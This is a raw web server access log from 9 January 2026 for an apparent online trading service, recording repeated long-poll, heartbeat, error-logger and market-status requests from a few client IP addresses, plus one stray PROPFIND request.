[09/Jan/2026:09:38:19 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922968047 HTTP/1.1" -
[09/Jan/2026:09:38:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:38:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:38:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922973561 HTTP/1.1" -
[09/Jan/2026:09:38:22 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922971609 HTTP/1.1" -
[09/Jan/2026:09:38:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922986411 HTTP/1.1" -
[09/Jan/2026:09:38:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922971935 HTTP/1.1" -
[09/Jan/2026:09:38:25 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922974052 HTTP/1.1" -
[09/Jan/2026:09:38:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922978614 HTTP/1.1" -
[09/Jan/2026:09:38:27 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922976625 HTTP/1.1" -
[09/Jan/2026:09:38:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922991471 HTTP/1.1" -
[09/Jan/2026:09:38:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922976975 HTTP/1.1" -
[09/Jan/2026:09:38:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:38:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:38:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:38:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:38:31 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922980059 HTTP/1.1" -
[09/Jan/2026:09:38:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:38:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:38:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922983736 HTTP/1.1" -
[09/Jan/2026:09:38:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922981664 HTTP/1.1" -
[09/Jan/2026:09:38:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922982005 HTTP/1.1" -
[09/Jan/2026:09:38:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922996541 HTTP/1.1" -
[09/Jan/2026:09:38:33 +0800] 60.248.0.134 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:09:38:37 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922986061 HTTP/1.1" -
[09/Jan/2026:09:38:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922988876 HTTP/1.1" -
[09/Jan/2026:09:38:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922987026 HTTP/1.1" -
[09/Jan/2026:09:38:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923001604 HTTP/1.1" -
[09/Jan/2026:09:38:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922986690 HTTP/1.1" -
[09/Jan/2026:09:38:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:38:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:38:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:38:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:38:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922994031 HTTP/1.1" -
[09/Jan/2026:09:38:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922992073 HTTP/1.1" -
[09/Jan/2026:09:38:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923006658 HTTP/1.1" -
[09/Jan/2026:09:38:43 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922991989 HTTP/1.1" -
[09/Jan/2026:09:38:43 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:09:38:43 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922992046 HTTP/1.1" -
[09/Jan/2026:09:38:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:38:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:38:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:38:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:38:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:38:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:38:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922999164 HTTP/1.1" -
[09/Jan/2026:09:38:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922997089 HTTP/1.1" -
[09/Jan/2026:09:38:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923011677 HTTP/1.1" -
[09/Jan/2026:09:38:48 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922997014 HTTP/1.1" -
[09/Jan/2026:09:38:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:38:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:38:49 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922998047 HTTP/1.1" -
[09/Jan/2026:09:38:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:38:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:38:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923004205 HTTP/1.1" -
[09/Jan/2026:09:38:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923002118 HTTP/1.1" -
[09/Jan/2026:09:38:53 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923002371 HTTP/1.1" -
[09/Jan/2026:09:38:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923017236 HTTP/1.1" -
[09/Jan/2026:09:38:55 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923004055 HTTP/1.1" -
[09/Jan/2026:09:38:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923009336 HTTP/1.1" -
[09/Jan/2026:09:38:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923007153 HTTP/1.1" -
[09/Jan/2026:09:38:58 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923007399 HTTP/1.1" -
[09/Jan/2026:09:38:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923023231 HTTP/1.1" -
[09/Jan/2026:09:39:01 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923010060 HTTP/1.1" -
[09/Jan/2026:09:39:02 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:39:02 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:39:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923014487 HTTP/1.1" -
[09/Jan/2026:09:39:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923012198 HTTP/1.1" -
[09/Jan/2026:09:39:03 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923012535 HTTP/1.1" -
[09/Jan/2026:09:39:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923029234 HTTP/1.1" -
[09/Jan/2026:09:39:07 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923016047 HTTP/1.1" -
[09/Jan/2026:09:39:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923019622 HTTP/1.1" -
[09/Jan/2026:09:39:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923017237 HTTP/1.1" -
[09/Jan/2026:09:39:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923017564 HTTP/1.1" -
[09/Jan/2026:09:39:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923035226 HTTP/1.1" -
[09/Jan/2026:09:39:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:39:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:39:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:39:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:39:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923024749 HTTP/1.1" -
[09/Jan/2026:09:39:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923022258 HTTP/1.1" -
[09/Jan/2026:09:39:13 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923022054 HTTP/1.1" -
[09/Jan/2026:09:39:13 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923022583 HTTP/1.1" -
[09/Jan/2026:09:39:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:39:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:39:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:39:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:39:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:39:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:39:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923041234 HTTP/1.1" -
[09/Jan/2026:09:39:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923029895 HTTP/1.1" -
[09/Jan/2026:09:39:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923027290 HTTP/1.1" -
[09/Jan/2026:09:39:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923027694 HTTP/1.1" -
